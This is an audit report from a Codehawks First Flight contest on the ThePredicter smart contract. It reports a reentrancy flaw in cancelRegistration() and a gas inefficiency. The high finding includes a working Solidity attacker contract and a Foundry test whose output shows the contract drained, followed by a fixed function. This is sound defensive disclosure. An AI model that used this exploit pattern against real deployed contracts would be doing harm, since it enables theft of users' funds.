Smart Contract Security Audit Report

Project Name : the-predicter (Codehawks - First Flight)

Date : 2025.02.18

Prepared By : Harisuthan

[H - 1] TITLE (Root + Impact) :

The `**cancelRegistration()**` function in the `**ThePredicter**` contract is vunerble to reentrancy attack.Which could allow an attacker to drain the contract's Funds.

Description :

The `**cancelRegistration**` function in the `**ThePredicter**` contract is vulnerable to a reentrancy attack. An attacker can first register by paying the entrance fee and then repeatedly call the `**cancelRegistration**` function to receive multiple refunds before the contract updates the user's registration status. Since the function does not update the user's state before sending funds, the attacker can drain the contract's balance through recursive calls.

Impact : An attacker could drain all the funds from the `**ThePredicter**` contract

Proof of Concepts :

See the code below for the full reentrancy attack implementation and test results

```
function testreentrencyattack() external{


    Reentrencyattack attack = new Reentrencyattack(thePredicter);
    vm.deal(address(thePredicter) , 10 ether);
    vm.deal(address(attack) , 10 ether);


    console.log("balance before attack Main contract" , address(thePredicter).balance);
    console.log("balance before attack Attacker contract" , address(attack).balance);



    vm.prank(address(attack));
    attack.attackfunction{value : 0.04 ether}();


    console.log("balance after attack Main contract" , address(thePredicter).balance);
    console.log("balance after attack Attacker contract" , address(attack).balance);




}
```

```
contract Reentrencyattack{

ThePredicter public thePredicter;

constructor(ThePredicter _target){

    thePredicter = _target;

}
function attackfunction() external payable{

    thePredicter.register{value : msg.value}();
    thePredicter.cancelRegistration();

}

receive() external payable{

    if(address(thePredicter).balance > 0){

        thePredicter.cancelRegistration();

    }

}

}
```

Test result :

```
[ :] Compiling 1 files with Solc 0.8.20
[.:] Solc 0.8.20 finished in 1.27s
Compiler run successful!

Ran 1 test for test/ThePredicter.test.sol:ThePredicterTest
[PASS] testreentrencyattack() (gas: 2497782)
Logs:
  balance before attack Main contract 10000000000000000000
  balance before attack Attacker contract 10000000000000000000
  balance after attack Main contract 0
  balance after attack Attacker contract 20000000000000000000

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 13.43ms (11.63ms CPU time)

Ran 1 test suite in 15.40ms (13.43ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
```

you can see after the attack the attacker contract has 20 ether and the main contract has 0 ether.

Recommended mitigation : for avoid this we can update the state before sending funds in the `**cancelRegistration**` function.

```
function cancelRegistration() public {
    if (playersStatus[msg.sender] == Status.Pending) {
        playersStatus[msg.sender] = Status.Canceled;
        (bool success, ) = msg.sender.call{value: entranceFee}("");
        require(success, "Failed to withdraw");
        return;
    }
    revert ThePredicter__NotEligibleForWithdraw();
}
```

[L-1] TITLE (Root + Impact) :

In the `ThePredicter` contract, the `organizer` variable is not declared as `immutable`, which increases gas fees.

Description :

In the `ThePredicter` contract, the `organizer` variable is stored in regular storage instead of being declared as immutable. This leads to higher gas costs because every access to the `organizer` variable requires a storage read, which is more expensive than reading from bytecode.

Since the organizer value does not change after deployment, marking it as immutable would optimize gas efficiency by storing it directly in the contract’s bytecode, reducing the cost of retrieval.

Impact :

Higher gas costs for every access to the `organizer` variable, which can accumulate over time and increase the overall cost of contract interactions.

Proof of Concepts :

See the code below for the full implementation of the `` `organizer` `` variable and the gas cost comparison between regular storage and immutable storage.

Before using the immutable keyword, the gas fees amount for access the organizer

```
function testgasfeesforaccessowner() external{

vm.txGasPrice(1);
uint256 gasstart = gasleft();
thePredicter.organizer();
uint256 gasend = gasleft();

uint256 totalspendgas = (gasstart - gasend) * 1;

console.log("Total gas price for access : " , totalspendgas);

}
```

Result :

```
root@LAPTOP-6DCGCU3B:~/2024-07-the-predicter# forge test --mt testgasfeesforaccessowner -vvv
[⠊] Compiling...
[⠑] Compiling 2 files with Solc 0.8.20
[⠘] Solc 0.8.20 finished in 1.81s
Compiler run successful!

Ran 1 test for test/ThePredicter.test.sol:ThePredicterTest
[PASS] testgasfeesforaccessowner() (gas: 15153)
Logs:
  @> Total gas price for access :  7829

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 5.25ms (702.17µs CPU time)

Ran 1 test suite in 16.41ms (5.25ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
```

After using the immutable keyword, the gas fees amount for access the organizer.

```
root@LAPTOP-6DCGCU3B:~/2024-07-the-predicter# forge test --mt testgasfeesforaccessowner -vvv
[⠊] Compiling...
[⠑] Compiling 2 files with Solc 0.8.20
[⠊] Solc 0.8.20 finished in 1.76s
Compiler run successful!

Ran 1 test for test/ThePredicter.test.sol:ThePredicterTest
[PASS] testgasfeesforaccessowner() (gas: 13021)
Logs:
  Total gas price for access :  5697

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 9.79ms (3.38ms CPU time)

Ran 1 test suite in 25.43ms (9.79ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
```

you can see the gas fees for access the `**organizer**` variable is reduced after using the immutable keyword.

Recommended mitigation : using immutable keyword for the `**organizer**` variable.

```
address public immutable organizer;
```